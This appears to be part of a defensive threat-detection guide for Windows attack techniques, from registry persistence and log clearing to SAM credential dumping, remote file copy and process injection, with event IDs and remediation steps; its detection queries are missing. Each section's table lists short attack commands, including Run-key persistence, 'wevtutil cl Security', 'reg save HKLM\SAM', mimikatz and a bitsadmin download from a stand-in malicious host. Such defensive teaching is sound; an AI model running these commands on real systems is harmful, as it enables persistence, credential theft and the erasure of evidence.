part 3
🚨 Modify Registry
🔍 1. Attack Breakdown
📝 What is Registry Modification?
The Windows Registry is a hierarchical database used to store system settings, application configurations, and user preferences.
Attackers often modify the registry to:
Establish Persistence: Ensure malware executes at startup.
Disable Security Controls: Turn off antivirus or logging.
Configure Malware Behavior: Adjust system or application settings for malicious purposes.
Hide Artifacts: Conceal malicious files or processes.
📑 Why Attackers Use Registry Modifications?
Persistence: Malware can auto-start on system boot.
Stealth: Changes are often hard to detect without monitoring.
Control: Modify system behavior for exploitation.
Fileless Attacks: Execute scripts directly from the registry.
📌 Common Registry Keys Abused by Attackers
Key
Purpose
Example Command
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Persistence via user login
reg add "HKCU\...\Run" /v Malware /t REG_SZ /d "C:\malicious.exe"
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Replace shell for persistence
reg add "HKLM\...\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, malicious.exe"
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
Disable Task Manager
reg add "HKCU\...\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1
HKLM\SYSTEM\CurrentControlSet\Services
Modify service behavior
reg add "HKLM\...\Services" /v ImagePath /t REG_EXPAND_SZ /d "C:\malicious.exe"
HKCU\Software\Classes\mscfile\shell\open\command
Hijack MSC files for execution
reg add "HKCU\...\open\command" /d "malicious.exe"
🛡️ 2. Detection Techniques
📊 Manual Detection via PowerShell
🕵️ List Startup Entries in Registry:
🕵️ Search for Suspicious Keys:
🕵️ Check Disabled Security Settings:
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Registry Modifications:
🕵️ Identify Security Settings Disabled:
🕵️ Persistence via Registry:
🕵️ Look for Fileless Execution:
🕵️ Track Registry Key Creation:
📊 Event Viewer Logs
Event ID 4657: Registry Value Modification
Event ID 4663: Object Access Attempt
Event ID 4688: Process Creation
📌 Focus on These Indicators:
Processes Making Changes:
powershell.exe
,cmd.exe
,reg.exe
,regedit.exe
Suspicious Paths:
HKCU:\...\Run
,HKLM:\...\Winlogon
,HKCU:\...\Policies
New or Modified Keys: Look for
.exe
,.bat
,.vbs
references in key values.
🕵️ 3. Investigation Techniques
1️⃣ Identify Processes Making Registry Changes
2️⃣ Trace Suspicious Registry Values
Investigate recent changes in critical registry paths:
3️⃣ Look for Fileless Malware
Check registry keys for encoded scripts:
4️⃣ Correlate with Process Execution
Cross-reference with processes using Event ID 4688.
🔧 4. Remediation Steps
📌 1. Identify and Remove Malicious Registry Keys
📌 2. Restore Default Security Settings
📌 3. Terminate Related Processes
📌 4. Quarantine Malicious Files
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Registry Auditing:
Configure auditing for sensitive registry paths.
Use Attack Surface Reduction (ASR) Rules:
Disable Unused Registry Tools:
Restrict access to
reg.exe
andregedit.exe
for non-admin users.
Enable Tamper Protection in Defender:
Educate Users:
Train users to recognize social engineering attacks leading to registry modifications.
🧠 6. Key Takeaways
Persistence is Key: Monitor startup and Winlogon registry keys.
Disable Known Attack Paths: Prevent scripts from running via registry.
Real-Time Alerts: Monitor changes to sensitive keys (
Run
,Winlogon
).Registry Auditing: Enable Event IDs 4657, 4688, and 4663.
🚨 Boot or Logon Autostart Execution: Shortcut Modification
🔍 1. Attack Breakdown
📝 What is Shortcut Modification Attack?
Shortcut Modification involves altering Windows shortcut files (.lnk) to execute malicious commands or scripts during boot or user logon.
Attackers modify shortcut targets to execute malicious payloads instead of their original programs.
📑 Why Attackers Use Shortcut Modification?
Persistence: Ensures malicious code runs at every system boot or user logon.
Stealth: Modified shortcuts appear legitimate to unsuspecting users.
Execution Without Alerts: Often bypasses security tools that monitor startup keys.
User Trust: Users are more likely to trust familiar application shortcuts.
📌 Common Shortcut Modification Techniques
Technique
Example Command
Purpose
Startup Folder Modification
echo [malicious command] > C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\example.lnk
Run malware at user logon
Modify Desktop Shortcuts
powershell -Command "Start-Process calc.exe"
Replace target of a common shortcut
Modify Taskbar Shortcuts
C:\Windows\System32\cmd.exe /c malicious.exe
Hijack taskbar or pinned shortcut
LNK File Injection
copy malicious.lnk C:\Users\<User>\Start Menu\Programs\Startup\
Inject malicious shortcut
Path Hijacking via Shortcut
C:\Windows\System32\cmd.exe /k "C:\Temp\payload.exe"
Execute malicious binary instead of the original program
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ Check Startup Folder for Suspicious Shortcuts:
🕵️ Check Shortcut Target Paths:
🕵️ Check for Suspicious Commands in Shortcuts:
🕵️ Identify Modified Shortcuts:
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Shortcut Modifications in Startup Folders:
🕵️ Identify Suspicious Shortcut Arguments:
🕵️ Monitor Common Hijacked Paths:
🕵️ Check Persistence via Modified Shortcuts:
📊 Event Viewer Logs
Event ID 4663: Object Access Attempt
Event ID 4688: Process Creation
Event ID 4670: Permissions on an Object Were Changed
🕵️ Filter Suspicious Activities in Event Viewer:
Open Event Viewer → Security → Filter by Event ID 4688
Look for:
FileName:
.lnk
InitiatingProcess:
cmd.exe
,powershell.exe
🕵️ 3. Investigation Techniques
1️⃣ Analyze Shortcut Target Paths
2️⃣ Trace Parent Processes
Check what triggered the creation or modification of the shortcut:
3️⃣ Check for Suspicious Files in Startup Folders
4️⃣ Review Recently Modified Shortcuts
Check recent changes in shortcut files:
5️⃣ Inspect Registry Keys
Look for
.lnk
references in Run keys:
🔧 4. Remediation Steps
📌 1. Remove Malicious Shortcuts
📌 2. Quarantine Malicious Payloads
📌 3. Remove Registry Persistence
📌 4. Terminate Malicious Processes
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Attack Surface Reduction (ASR) Rules:
Restrict Write Access to Startup Folders:
Limit permissions on
C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
.
Audit Shortcut Modifications:
Enable auditing for
.lnk
file changes.
Disable Auto-Execution from Startup Folder:
Block execution of scripts from
Startup
via Group Policy.
Educate Users:
Train users to avoid clicking on
.lnk
files from untrusted sources.
🧠 6. Key Takeaways
Monitor Shortcut Modifications: Watch
.lnk
files inStartup
andDesktop
.Audit Key Paths: Regularly review
Startup
andRun
registry keys.Analyze Shortcut Targets: Investigate modified
.lnk
file targets.Focus on Persistence Mechanisms: Pay attention to
cmd.exe
,powershell.exe
, and suspicious arguments.
🚨 Masquerade Task or Service
🔍 1. Attack Breakdown
📝 What is Task or Service Masquerading?
Masquerading occurs when an attacker disguises a malicious scheduled task or Windows service to appear legitimate.
Attackers often name tasks or services similar to system processes (e.g.,
svchost.exe
,explorer.exe
) to avoid detection.
📑 Why Attackers Use Task or Service Masquerading?
Persistence: Ensures malware or malicious scripts run automatically on startup.
Stealth: Mimics legitimate services or tasks to evade detection.
Privilege Escalation: May run tasks/services with elevated privileges.
Reduces Suspicion: Security teams might overlook familiar-looking names.
📌 Common Techniques
Technique
Example Command
Purpose
Scheduled Task Masquerade
schtasks /create /tn "Windows Update" /tr C:\Temp\malware.exe /sc daily /ru SYSTEM
Create a disguised scheduled task
Service Creation with Masquerade Name
sc create WindowsUpdate type= own start= auto binPath= "C:\Temp\malware.exe"
Create a fake Windows Update service
Modify Existing Services
sc config TrustedInstaller binPath= "C:\Temp\malware.exe"
Hijack legitimate services
Hidden Tasks
schtasks /create /tn "Windows Security" /tr powershell.exe -enc ZWNobyBoZWxsbyA= /sc minute
Create hidden tasks
Fake Parent Process
cmd.exe /c start svchost.exe -k netsvcs
Mimic a legitimate process
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ List Scheduled Tasks
🕵️ Inspect Task Command Lines
🕵️ List All Windows Services
🕵️ Inspect Service Configurations
🕵️ Find Unusual Paths in Service Binaries
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Suspicious Scheduled Tasks
🕵️ Identify Suspicious Services Created or Modified
🕵️ Find Services with Non-Standard Binary Paths
🕵️ Look for Tasks Executing from Suspicious Paths
📊 Event Viewer Logs
Event ID
Description
4697
A service was installed in the system
4698
A scheduled task was created
4702
A scheduled task was updated
7045
A new service was installed on the system
📌 Focus on These Indicators:
Service Name: Generic or misleading names (
WindowsUpdate
,SecurityService
)Scheduled Task Names: Mimic system tasks (
Windows Defender Update
,Security Scan
)Paths: Non-standard paths like
C:\Temp\malware.exe
🕵️ 3. Investigation Techniques
1️⃣ Review Scheduled Task Details
Inspect task triggers and command lines:
2️⃣ Inspect Service Binary Paths
Verify the service path and startup type:
3️⃣ Trace Parent Processes
Identify the parent process for suspicious tasks:
4️⃣ Validate File Hashes
Check binaries used by tasks and services:
5️⃣ Check Registry for Service Entries
Review suspicious registry keys:
🔧 4. Remediation Steps
📌 1. Disable and Remove Malicious Tasks
📌 2. Stop and Delete Malicious Services
📌 3. Remove Registry Entries
📌 4. Quarantine Malicious Files
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Task and Service Auditing:
Enable Event IDs 4697, 4698, 4702, and 7045.
Restrict Service and Task Creation:
Use Group Policy to limit non-admin task and service creation.
Monitor Common Abuse Binaries:
Tools like
schtasks.exe
,sc.exe
, andpowershell.exe
.
Enable Attack Surface Reduction (ASR) Rules:
Audit Non-Standard Paths:
Services running from
C:\Temp
,C:\Users
, orC:\ProgramData
.
Implement Least Privilege Access:
Restrict administrative privileges for regular users.
Educate Users:
Train users to recognize suspicious behavior and report anomalies.
🧠 6. Key Takeaways
Persistence Tactics: Scheduled tasks and services are common attack vectors.
Mimicry is Key: Attackers use misleading names to avoid detection.
Auditing is Essential: Monitor task and service creations using Event Logs and Defender telemetry.
Focus on Execution Paths: Legitimate tasks and services rarely use
Temp
orAppData
.
🚨 Indicator Removal on Host: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Indicator Removal on Host?
Indicator Removal on Host is an adversarial tactic used to erase traces of malicious activity from a compromised system.
Attackers remove logs, files, registry entries, scheduled tasks, and artifacts that could reveal their presence or actions.
📑 Why Attackers Remove Indicators?
Evade Detection: Hide traces of malicious activity from security teams and tools.
Persistence: Make it harder for incident responders to fully remediate the breach.
Delay Investigation: Obscure root cause analysis and delay detection timelines.
Cover Tracks: Prevent linking the attacker to the activity.
📌 Common Techniques for Indicator Removal
Technique
Description
Example Command
Delete Event Logs
Erase Windows event logs
wevtutil cl Security
Clear PowerShell History
Remove traces from command history
Remove-Item (Get-PSReadlineOption).HistorySavePath
Delete Files/Artifacts
Remove malware payloads or logs
del C:\Temp\malicious.exe
Remove Registry Entries
Clean persistence artifacts
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MalwareKey /f
Disable Logging
Temporarily stop event logging
wevtutil sl Security /e:false
Self-Delete Script
Malware deletes itself after execution
cmd.exe /c timeout 5 && del %~f0
🛡️ 2. Detection Techniques
📊 Manual Inspection
🕵️ Check for Cleared Event Logs
Look for abrupt log gaps or absence of expected events.
🕵️ Inspect PowerShell Command History
Look for unusual deletions or clearing commands.
🕵️ Check System Logs for Clearing Commands
🕵️ Search for Recent File Deletions
🕵️ Check Registry Modifications
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Log Clearing Commands
🕵️ Detect PowerShell History Manipulation
🕵️ Identify Deleted Files and Artifacts
🕵️ Detect Service or Task Deletion
🕵️ Registry Cleanup Attempts
📊 Event Viewer Logs
Event ID
Description
1102
The audit log was cleared
4688
A new process was created
4657
Registry value modification
4663
Object access attempt
📌 Focus on Event ID 1102 (Audit Log Cleared)
Open Event Viewer → Windows Logs → Security
Look for sudden clearing of logs.
📌 Monitor for Suspicious Processes (Event ID 4688)
Look for commands using
wevtutil
,del
,Remove-Item
, orreg delete
.
🕵️ 3. Investigation Techniques
1️⃣ Trace Log Clearing Activities
Identify the account and source IP involved:
2️⃣ Correlate Deleted Files with Processes
Investigate who and what deleted files:
3️⃣ Review Command History
Check recent command history:
4️⃣ Inspect Registry for Evidence
Identify modified or deleted registry keys:
5️⃣ Cross-Reference File Hashes
Validate hash integrity:
🔧 4. Remediation Steps
📌 1. Restart Event Logging
📌 2. Restore Logs from Backup
Restore event logs if backups are available.
📌 3. Investigate Deleted Files and Artifacts
Use forensic tools like Recuva or FTK Imager to recover deleted files.
📌 4. Remove Malicious Registry Entries
📌 5. Quarantine Suspicious Files
📌 6. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Security Auditing:
Ensure Event ID 1102, 4688, 4663 are enabled.
Enable Tamper Protection:
Monitor Log Clearing Tools:
Watch for
wevtutil
,Clear-EventLog
,Remove-Item
.
Restrict Admin Privileges:
Prevent unauthorized users from clearing logs or modifying the registry.
Implement Attack Surface Reduction (ASR) Rules:
Disable Command History Clearing:
Enforce retention policies for command history.
Regular Backups:
Periodically back up event logs and critical system data.
🧠 6. Key Takeaways
Monitor Event Log Clearing: Event ID 1102 is critical.
File Deletions Are a Red Flag: Especially in
Temp
orAppData
.Audit Critical Registry Keys: Monitor
Run
andRunOnce
entries.Prevent Tampering: Enable Windows Defender Tamper Protection.
🚨 OS Credential Dumping: Security Account Manager (SAM)
🔍 1. Attack Breakdown
📝 What is SAM Credential Dumping?
Security Account Manager (SAM) is a Windows database file that stores local account credentials (NTLM and LM hashes).
Credential dumping involves extracting these hashes to escalate privileges, move laterally, or crack passwords offline.
📑 Why Attackers Use SAM Credential Dumping?
Access Local Accounts: Gain access to local administrator accounts.
Privilege Escalation: Use compromised accounts for elevated permissions.
Offline Hash Cracking: Crack NTLM hashes without alerting security systems.
Persistence: Use stolen hashes for Pass-the-Hash (PtH) attacks.
📌 Common Methods for SAM Credential Dumping
Technique
Tool/Command Example
Description
Local Copy of SAM and SYSTEM Files
copy C:\Windows\System32\config\SAM
Copy SAM and SYSTEM files for offline analysis
Mimikatz SAM Module
lsadump::sam
Dump SAM hashes directly from memory
Reg Save Method
reg save HKLM\SAM C:\Temp\sam.save
Export SAM hive via the registry
Volume Shadow Copy
vssadmin create shadow /for=C:
Access SAM via shadow copies
Impacket (secretsdump.py)
secretsdump.py Administrator@IP
Dump SAM hashes remotely
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Look for Suspicious Access to SAM Registry Hive
🕵️ Monitor Registry Export Commands
🕵️ Identify Shadow Copy Abuse
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Access to SAM Files
🕵️ Detect Registry Hive Export (reg save HKLM\SAM)
🕵️ Detect Shadow Copy Abuse
🕵️ Identify Mimikatz Execution
🕵️ Remote SAM Dumping with Impacket
📊 Event Viewer Logs
Event ID
Description
4663
An attempt was made to access an object (SAM file access).
4688
A new process was created (e.g., reg.exe
, mimikatz.exe
).
4624
Account logon (especially administrative accounts).
4724
An attempt was made to reset an account's password.
5145
A network share object was accessed.
📌 Focus on Event ID 4663:
Object Access attempts for
HKLM\SAM
orC:\Windows\System32\config\SAM
.
📌 Event ID 4688:
Look for suspicious processes:
reg.exe
vssadmin.exe
mimikatz.exe
🕵️ 3. Investigation Techniques
1️⃣ Identify Registry Export Commands
Search for SAM exports:
2️⃣ Inspect Shadow Copies
List all shadow copies:
Look for unusual creation timestamps.
3️⃣ Analyze Active Processes
Identify active processes accessing SAM files:
4️⃣ Trace Malicious Tools
Search common tool artifacts:
5️⃣ Check for Remote Credential Dumps
Inspect network logs for suspicious remote connections:
🔧 4. Remediation Steps
📌 1. Change Local Account Passwords
Immediately reset local admin passwords:
📌 2. Remove Malicious Shadow Copies
📌 3. Block Tools (Mimikatz, Impacket)
Use AppLocker or WDAC to block these tools.
📌 4. Review Local Admin Group Memberships
📌 5. Enable Logging and Auditing
Ensure Event IDs 4663, 4688, and 4624 are monitored.
📌 6. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable LSASS Protection:
Monitor Access to SAM Files:
Enable auditing on:
C:\Windows\System32\config\SAM
HKLM\SAM
Restrict Registry Access:
Limit local admin privileges.
Block Tool Execution:
Use Application Control Policies (AppLocker) to block
mimikatz.exe
,secretsdump.py
.
Use Credential Guard:
Enable Windows Defender Credential Guard.
Limit Local Admin Accounts:
Disable unused local admin accounts.
🧠 6. Key Takeaways
SAM Database is Critical: Protect it with auditing and access control.
Monitor Registry Access: Look for
reg save HKLM\SAM
.Detect Shadow Copy Abuse: Monitor
vssadmin
commands.Credential Guard is Essential: Prevent access to LSASS and SAM hashes.
Block Known Tools: Prevent execution of
mimikatz.exe
andsecretsdump.py
.
🚨 Remote File Copy: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Remote File Copy?
Remote File Copy is an adversarial tactic where attackers transfer files between systems over a network to:
Deploy malicious payloads.
Exfiltrate sensitive data.
Move toolkits or scripts for post-exploitation activities.
📑 Why Attackers Use Remote File Copy?
Payload Deployment: Transfer malware, tools, or scripts for persistence or lateral movement.
Data Exfiltration: Steal confidential files or credentials.
Stealth: Use native tools (e.g.,
xcopy
,robocopy
,scp
) to evade detection.Remote Control: Set up additional footholds on other systems.
📌 Common Techniques for Remote File Copy
Technique
Tool/Command Example
Purpose
SMB Copy
copy \\target\C$\Temp\payload.exe
Copy files via SMB
PSExec (Sysinternals)
psexec \\target -c payload.exe
Deploy payload using PsExec
PowerShell Copy
Copy-Item -Path .\payload.exe -Destination \\target\C$\Temp
Copy via PowerShell
RDP File Drop
File transfer using Remote Desktop
Upload malicious files
FTP Transfer
ftp <target>
Transfer files via FTP
SCP (Secure Copy Protocol)
scp file.txt user@remote:/tmp/
Transfer files securely
WinRM (PowerShell Remoting)
Invoke-Command -ComputerName target -ScriptBlock { Copy-Item }
Copy files using WinRM
BITSAdmin Abuse
bitsadmin /transfer malware http://malicious.com/payload.exe
Download via Background Intelligent Transfer Service
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Check Recent File Transfers via SMB
Look for unusual remote sessions.
🕵️ Review PowerShell File Copy History
🕵️ Identify Recent Remote Connections
🕵️ Check Remote Desktop File Transfers
Review RDP logs at:
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect SMB File Copy Activity
🕵️ Detect FTP or SCP Commands
🕵️ Monitor PowerShell Remote Copy Attempts
🕵️ Detect BITSAdmin Abuse
🕵️ Identify Unusual Remote Sessions
📊 Event Viewer Logs
Event ID
Description
5145
A network share object was accessed.
4663
Object access attempt (file copy attempt).
4688
A new process was created.
4104
PowerShell Script Block Logging (Copy-Item commands).
7045
A new service was installed (via PsExec).
📌 Focus on Event ID 5145:
Look for file copy activity over SMB.
Monitor logs for
\\
,UNC paths
, or abnormal accounts.
📌 Focus on Event ID 4688:
Identify suspicious commands using:
robocopy.exe
xcopy.exe
psexec.exe
🕵️ 3. Investigation Techniques
1️⃣ Inspect SMB Sessions
List current SMB connections:
2️⃣ Trace Command-Line Activity
Search for file copy commands:
3️⃣ Check BITSAdmin Transfers
Review current BITS jobs:
4️⃣ Inspect RDP Session Logs
Review file transfers via RDP logs:
5️⃣ Check FTP or SCP Activity
Look for FTP logs in:
🔧 4. Remediation Steps
📌 1. Terminate Malicious Connections
📌 2. Disable Suspicious SMB Sessions
📌 3. Remove Malicious BITS Jobs
📌 4. Quarantine Malicious Files
📌 5. Block Known Tools via AppLocker
📌 6. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Disable SMB v1:
Limit Remote Access Tools:
Restrict
psexec.exe
,robocopy.exe
,xcopy.exe
.
Enable BITS Logging:
Monitor BITS jobs via Windows Event Logs.
Enable PowerShell Logging:
Use Network Segmentation:
Restrict file-sharing access to authorized systems.
Enable SIEM Alerts:
Create alerts for commands like
copy
,scp
,robocopy
, andbitsadmin
.
🧠 6. Key Takeaways
Native Tools Are Dangerous: Attackers often use legitimate tools (
xcopy
,robocopy
) for malicious purposes.Monitor SMB and FTP Activity: Look for unauthorized file transfers.
Enable Script Block Logging: Ensure
PowerShell
andBITS
commands are logged.Restrict File Sharing Permissions: Use least privilege for network shares.
🚨 Network Service Scanning
🔍 1. Attack Breakdown
📝 What is Network Service Scanning?
Network Service Scanning is the process where attackers probe network devices, servers, or endpoints to identify open ports, running services, and vulnerabilities.
Common goals include:
Identifying Targets: Find exploitable systems and services.
Mapping the Network Topology: Understand the structure and key services.
Finding Weak Services: Detect outdated or misconfigured services.
📑 Why Attackers Use Network Service Scanning?
Initial Reconnaissance: Build a map of potential entry points.
Vulnerability Detection: Find exploitable services.
Credential Spraying: Identify systems where default credentials may still work.
Evasion Planning: Identify security controls, firewalls, and intrusion detection systems.
📌 Common Tools Used for Network Scanning
Tool
Purpose
Command Example
Nmap
Port & service scanning
nmap -sV -p 1-65535 <target>
Masscan
High-speed port scanning
masscan -p1-65535 <target>
Netcat
Port probing
nc -zv <target> 80
ZMap
Internet-scale scanning
zmap -p 80 <target>
Shodan API
Search exposed systems
shodan search port:22
Metasploit
Service vulnerability scanning
msfconsole -x "use scanner/portscan/tcp"
📊 Common Techniques for Network Scanning
Technique
Description
Example Command
TCP Connect Scan
Check TCP connection to each port.
nmap -sT <target>
Stealth Scan (SYN Scan)
Evade logging by sending SYN packets.
nmap -sS <target>
UDP Scan
Scan UDP services.
nmap -sU <target>
Service Version Detection
Identify software versions.
nmap -sV <target>
OS Detection
Identify the OS type and version.
nmap -O <target>
Banner Grabbing
Extract server information from banners.
nc <target> 80
SNMP Scanning
Identify devices using SNMP.
onesixtyone <target>
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ Review Firewall Logs for Scan Patterns
Look for repeated connection attempts from a single IP across multiple ports.
🕵️ Check Failed Authentication Attempts
Multiple failed login attempts on different services may indicate scanning.
🕵️ Monitor for Suspicious Connections
Unusual connections across many ports from a single IP are suspicious.
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect Network Scanning Behavior
🕵️ Identify High Frequency Connections
🕵️ Detect Known Scanning Tools
🕵️ Look for SYN Scans
🕵️ Identify Suspicious UDP Traffic
📊 Event Viewer Logs
Event ID
Description
5156
A network connection was allowed.
5152
A network connection was blocked.
4625
Failed login attempt.
4688
A process was created.
📌 Focus on Event ID 5156:
Look for repeated allowed connections from a single Remote IP to many different ports.
📌 Focus on Event ID 4688:
Identify processes like:
nmap.exe
masscan.exe
zmap.exe
🕵️ 3. Investigation Techniques
1️⃣ Trace the Source IP
Identify the attacker’s IP address:
2️⃣ Inspect Command-Line History
Look for scanning tool execution:
3️⃣ Check Suspicious Processes
4️⃣ Inspect Firewall Logs
Review blocked connection attempts:
5️⃣ Analyze Network Flows
Capture network packets:
🔧 4. Remediation Steps
📌 1. Block Suspicious IP Addresses
📌 2. Disable Unused Services and Ports
📌 3. Terminate Suspicious Processes
📌 4. Enable Firewall Logging
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Intrusion Detection System (IDS):
Use Snort or Suricata.
Implement Rate-Limiting:
Limit the number of connection attempts.
Segment the Network:
Use VLANs and isolated zones.
Disable Unnecessary Services:
Close unused ports and disable unnecessary protocols.
Enable Firewall Rules:
Block unused inbound ports.
Monitor Common Tools:
Alert on tools like nmap.exe, masscan.exe, zmap.exe.
🧠 6. Key Takeaways
Scanning is Often the First Step: Early detection is critical.
Monitor Network Traffic: Look for unusual connection spikes.
Control Tools: Block execution of known scanning tools.
Enable IDS/IPS: Use network monitoring to detect scans.
🚨 Replication Through Removable Media: Advanced Threat Analysis
🔍 1. Attack Breakdown
📝 What is Replication Through Removable Media?
Replication through removable media occurs when attackers use USB drives, external hard drives, or other removable storage devices to spread malware or exfiltrate data.
Malware is often automatically executed using autorun scripts or hidden malicious files.
📑 Why Attackers Use Removable Media?
Bypass Network Controls: No reliance on network connectivity.
Stealth: USB drives are less monitored than network transfers.
Physical Access: Effective in air-gapped environments.
Persistence: Can remain undetected and reinfect systems when reconnected.
📌 Common Techniques for USB-Based Replication
Technique
Description
Example Command/Tool
Autorun Exploitation
Malware is automatically executed via autorun.inf
.
echo [autorun] > autorun.inf
Hidden Malicious Files
Malware is hidden on the USB drive as system files.
attrib +s +h malicious.exe
Shortcut Abuse
Replace folder shortcuts with malicious executables.
cmd /c start folder.lnk
Payload Delivery
Malicious payloads transferred manually.
copy payload.exe F:\
Data Exfiltration
Sensitive data copied to the removable device.
xcopy C:\sensitive F:\ /E
📌 Common Malware Examples
USB Rubber Ducky: Hardware-based key injection.
BadUSB: Firmware-based USB attack.
Stuxnet: Spread through removable drives.
Autorun Worms: Malware exploiting
autorun.inf
.
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Attached USB Devices
🕵️ Check USB Activity in Logs
🕵️ Search for Autorun Files
🕵️ Identify Recently Created or Modified Files on USB
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect USB Device Connections
🕵️ Identify Autorun Files
🕵️ Detect Malware Dropped on USB
🕵️ Detect Exfiltration Activity
🕵️ Look for Suspicious Processes Executed from USB
📊 Event Viewer Logs
Event ID
Description
2003
USB device connected.
4688
Process creation (malware execution from USB).
4663
Object access attempt (e.g., file copied).
4670
Permissions changed on an object.
4656
Handle to an object was requested.
📌 Focus on Event ID 2003:
Tracks USB device connections.
📌 Focus on Event ID 4688:
Look for processes executed directly from a USB drive (
F:\malicious.exe
).
📌 Focus on Event ID 4663:
Tracks file access events.
🕵️ 3. Investigation Techniques
1️⃣ Identify USB Device Details
Check device properties:
2️⃣ Review USB Device History
3️⃣ Trace Executed Files from USB
Identify suspicious execution paths:
4️⃣ Check Recent File Transfers
Look for exfiltration patterns:
5️⃣ Extract Autorun Configurations
Inspect
autorun.inf
:
🔧 4. Remediation Steps
📌 1. Disable Autorun for Removable Devices
📌 2. Quarantine Suspicious Files
📌 3. Block Malicious Processes
📌 4. Remove Suspicious Autorun Files
📌 5. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Disable Autorun:
Prevent automatic execution of files from removable devices.
Restrict USB Access:
Implement policies to restrict USB drive usage.
Enable USB Auditing:
Enable Event Logs for USB activity.
Use Device Control Solutions:
Implement tools like Microsoft Defender Device Control.
Encrypt Sensitive Data:
Ensure sensitive data cannot be easily copied to USB devices.
Block Known Malicious Tools:
Block
autorun.inf
and known malicious file extensions via AppLocker.
Educate Users:
Train users to avoid connecting unknown USB devices.
🧠 6. Key Takeaways
USB Drives Are a Threat Vector: Monitor USB access and file transfers.
Disable Autorun: Prevent automatic execution of malicious payloads.
Audit USB Activity: Enable detailed logging for USB connections.
Use Device Control: Restrict or block USB usage for unauthorized users.
Educate Employees: Train them on risks associated with USB drives.
🚨 Process Injection
🔍 **1. Attack Breakdown
📝 What is Process Injection?
Process Injection is a technique used by attackers to inject malicious code into legitimate processes to:
Evade Detection: Hide within trusted processes (e.g.,
explorer.exe
,svchost.exe
).Privilege Escalation: Execute code with higher privileges.
Persistence: Maintain access even after reboots.
Bypass Security Controls: Avoid antivirus or endpoint protection detection.
📑 Why Attackers Use Process Injection?
Stealth: Operate within trusted processes.
Access: Leverage the privileges of the injected process.
Bypass Controls: Avoid application whitelisting.
Persistence: Maintain presence across sessions.
📌 Common Techniques for Process Injection
Technique
Description
Tool Example
DLL Injection
Inject malicious DLLs into legitimate processes.
rundll32.exe
Process Hollowing
Replace a process's memory with malicious code.
svchost.exe
APC Injection
Use Asynchronous Procedure Calls for injection.
Mimikatz
Thread Execution Hijacking
Hijack an existing thread for malicious code.
Metasploit
Reflective DLL Injection
Load DLLs directly into memory.
Cobalt Strike
Shellcode Injection
Inject and execute raw shellcode in a process.
Metasploit
, Cobalt Strike
📊 Common Tools for Process Injection
Tool
Purpose
Metasploit
Payload generation and injection
Mimikatz
Credential dumping with injection
Cobalt Strike
Post-exploitation framework
PowerSploit
PowerShell exploitation scripts
Process Hacker
Process analysis and injection
🛡️ 2. Detection Techniques
📊 Manual Inspection with PowerShell
🕵️ List Suspicious Processes
🕵️ Check Suspicious DLL Injections
🕵️ Inspect Threads in Processes
🕵️ Check Remote Thread Creation
📊 Microsoft Defender for Endpoint (MDE) Query (KQL)
🕵️ Detect DLL Injection
🕵️ Detect Remote Thread Creation
🕵️ Identify Hollowed Processes
🕵️ Detect Reflective DLL Injection
🕵️ Monitor Suspicious Thread Creation
📊 Event Viewer Logs
Event ID
Description
4688
Process creation (Look for CreateRemoteThread
)
4689
Process termination
4697
Service installed on a system
4720
An account was created
📌 Focus on Event ID 4688:
Look for:
📌 Focus on Event ID 4697:
Look for unusual services created with suspicious paths.
🕵️ 3. Investigation Techniques
1️⃣ Trace Injected Processes
Identify suspicious child-parent process relationships:
2️⃣ Analyze DLL Loading Paths
Verify DLL paths:
3️⃣ Monitor Memory Activity
Look for unexpected memory allocation:
4️⃣ Check Running Threads
Identify unusual thread activity:
5️⃣ Review Command-Line Activity
Check for encoded or suspicious PowerShell commands:
🔧 4. Remediation Steps
📌 1. Kill Malicious Processes
📌 2. Quarantine Malicious DLLs
📌 3. Disable Suspicious Services
📌 4. Remove Malicious Threads
Terminate injected threads manually.
📌 5. Enable Advanced Threat Protection (ATP)
Ensure real-time protection is active.
📌 6. Perform Full Antivirus Scan
🛡️ 5. Prevention Steps
Enable Process Auditing:
Enable Event ID 4688 and 4697.
Use Application Control:
Block suspicious binaries (
rundll32.exe
,powershell.exe
) from abnormal execution paths.
Enable Windows Defender ATP:
Ensure advanced threat protection is enabled.
Monitor Memory Allocation:
Use tools like Sysmon to track thread and memory injection.
Disable Unused Tools:
Restrict access to rundll32.exe and svchost.exe.
Educate Users:
Raise awareness about malicious file execution.
🧠 6. Key Takeaways
Process Injection is Stealthy: It allows attackers to hide malicious code in legitimate processes.
Monitor Process Tree Anomalies: Look for unusual parent-child relationships.
